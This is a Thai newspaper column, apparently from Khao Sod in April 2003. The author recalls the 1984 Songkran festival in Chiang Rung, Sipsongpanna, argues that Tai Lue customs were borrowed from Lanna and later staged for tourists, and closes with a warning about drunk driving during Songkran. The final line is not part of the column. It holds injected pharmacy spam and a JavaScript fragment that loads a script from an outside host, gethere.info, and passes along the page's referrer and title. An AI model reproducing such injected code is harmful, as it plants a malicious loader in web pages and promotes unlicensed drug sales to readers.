ข่าวสด-วันเสาร์ที่ ๑๒ เมษายน ๒๕๔๖

 

ประเพณี “เพื่อชีวิต”

ไม่ใช่ “ด้วยชีวิต”

เมื่อเดือนเมษายน พ.ศ. ๒๕๒๗ นานถึง ๑๙ ปีมาแล้ว สถาบันเอเชียอาคเนย์ศึกษา (Institute for Southeast Asean Studies) ที่เมืองคุนหมิง มณฑลยูนนานของจีน ชวนผมไปงานสงกรานต์เมืองเชียงรุ่ง (รุ่ง-ไม่ใช่รุ้ง) ศูนย์กลางของแคว้นสิบสองพันนามาแต่โบราณ

ตั้งแต่ พ.ศ. ๒๕๑๘ ผมเป็นผู้สื่อข่าวของประชาชาติรายวัน ตามนายกรัฐมนตรีคือ ม.ร.ว.คึกฤทธิ์ ปราโมช ไปฟื้นฟูสัมพันธไมตรีกับจีน เขาจัดให้ไปนอนค้างคืนอยู่เมืองคุนหมิงด้วย คราวนั้นนอนห้องเดียวกับสุทธิชัย หยุ่น จากเนชั่น จากนั้นก็ไม่เคยเข้าเมืองจีนอีกเลย จน พ.ศ. ๒๕๒๗ ได้ย้อนกลับไปอีกครั้งหนึ่งนี่แหละ แต่คราวนี้เดินทางคนเดียวเดี่ยวโดด นั่งเครื่องการบินไทยจากดอนเมือง เมื่ออุณหภูมิ ๓๙ C นอนค้างปักกิ่งคืนหนึ่งที่บ้านคุณสุชาติ ภูมิบริรักษ์ รุ่งขึ้นนั่งเครื่องบินภายในลงไปคุนหมิงในอุณหภูมิ ๑๙ C

นอนค้างที่คุนหมิง ๑ คืน รุ่งขึ้นอาจารย์เจีย แยนจองเป็นไกด์กิตติมศักดิ์ พานั่งเครื่องบินลงไปเมืองซือเหมาแต่เช้าตรู่ แล้วต้องนั่งรถจากซือเหมาลงไปเมืองเชียงรุ่งราว ๖ ชั่วโมง ก็ถึงเอาตอนเย็นพอดีๆ

รุ่งขึ้นเป็นวันมหาสงกรานต์ของพวกลื้อเมืองเชียงรุ่ง จัดงานบริเวณริมแม่น้ำโขง (เขาเรียกแม่น้ำล้านช้าง) มีจุดบั้งไฟและแข่งเรือในแม่น้ำเป็นสำคัญ นอกนั้นมีขับซอในปะรำริมแม่น้ำเต็มไปหมด แข่งเรือเสร็จตอนเย็น ฝนฟ้าตกห่าใหญ่จนปะรำพัง เพราะลมแรงจัดจนหนาว รุ่งอีกวันถึงมีรดน้ำดำหัวในวัด แล้วเล่นสาดน้ำกันทั้งวัน เฉพาะบริเวณวัดเท่านั้น นอกบริเวณเขาไม่เล่นกัน

ผมเป็นผู้สื่อข่าวจากเมืองไทยคนเดียวในงานนี้ แต่จะเป็นคนไทยคนเดียวและคนแรกหรือเปล่า-ไม่รู้ เพราะแม่เป็นเจ๊ก พ่อเป็นลาว สมควรเป็นเจ๊กปนลาวเท่านั้น ซึ่งเข้ากันได้ดีกับชาวเมืองเชียงรุ่งที่เป็นเจ๊กปนลื้อ

เมืองเชียงรุ่ง แคว้นสิบสองพันนา ทุกวันนี้อยู่ในเขตเมืองจีน แต่สมัยโบราณไม่อยู่เขตเมืองจีน หากเป็นดินแดนเหนือสุดของแคว้นล้านนาที่มีศูนย์กลางอยู่เชียงใหม่-เชียงราย-เชียงแสน มีตำนานเล่าว่าแม่ของพญามังราย ชื่อ คำข่าย เป็นลื้อเมืองเชียงรุ่ง

มีร่องรอยเชื่อได้ว่าพุทธศาสนากับสงกรานต์และตัวอักษรแพร่ขึ้นไปจากเชียงใหม่ในสมัยพระเจ้าติโลกราช ที่เป็นมหาราชองค์สำคัญของล้านนา แล้วยังเหลืออยู่สืบมาจนทุกวันนี้เอาไว้ขายนักท่องเที่ยวจากเมืองไทยเท่านั้น

สมัยพระเจ้าตาก กรุงธนบุรี สืบมาถึงรัชกาลที่ ๑ กรุงรัตนโกสินทร์ ทางสยาม “เก็บผักใส่ซ้า เก็บข้าใส่เมือง” กวาดต้อนพวกลื้อเมืองเชียงรุ่งลงมาอยู่ล้านนา เช่น มาอยู่ที่เมืองน่าน เมืองพะเยา เมืองเชียงราย ฯลฯ

นักวิชาการด้านประวัติศาสตร์และวัฒนธรรม ชอบฟูมฟายประเพณีสงกรานต์และบ้านเรือนของลื้อเมืองเชียงรุ่ง ว่าเป็นของดั้งเดิมแท้ แต่ไม่จริงทั้งนั้น เพราะรับไปจากล้านนาและพม่า ต่อมาเป็นของ “จัดตั้ง” โดยรัฐบาลพรรคคอมมิวนิสต์เพื่อผลทางการปกครองและขายนักท่องเที่ยว

นักประวัติศาสตร์ไทยหลายคนเพ้อเจ้อว่า สิบสองพันนาเป็นถิ่นกำเนิดของคนไทย ซึ่งเป็นเท็จ เพราะสิบสองพันนาเป็นแว่นแคว้นเกิดใหม่เมื่อสมัยปลายอยุธยานี้เอง แต่เดิมเป็นเขตของล้านนา หรือเป็นการขยายตัวของล้านนาขึ้นไป ไม่ใช่อพยพลงมาอย่างหนังสือของนักประวัติศาสตร์ไทย “นั่งเทียน” เขียนตำรา

สงกรานต์ในราชสำนักโบราณเกี่ยวข้องกับพราหมณ์ ถือเป็นพิธีพราหมณ์ ต่อมาเอาพุทธไปเข้าด้วยตามธรรมเนียมของการประสมประสานทางวัฒนธรรม มีการทำบุญบังสุกุลอุทิศส่วนกุศลให้บรรพบุรุษ คือปู่ย่าตายายที่ตายไปแล้ว

แต่ชาวบ้านทั่วไปต้องทำพิธีเลี้ยงผี ทางอีสานและลาวเรียกผีบ้านผีเรือนจนถึงผีประจำหมู่บ้าน คือผีปู่ตา ซึ่งถือเป็นผีบรรพบุรุษด้วย สรุปแล้วสงกรานต์ของไพร่บ้านพลเมืองเกี่ยวข้องอย่างสำคัญกับผี

ทุกวันนี้ยิ่งเกี่ยวกับผีอย่างแนบแน่น เพราะต้องทำพิธีศพจากอุบัติเหตุบนถนนที่กินเหล้าฉลองสงกรานต์แล้วเมาขับรถจนตัวตาย แล้วทำคนอื่นตายด้วย

เราควรรักษาประเพณีเพื่อชีวิต แต่ไม่ควรรักษาประเพณีด้วยชีวิตfluoxetine without prescription doxycycline buys.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;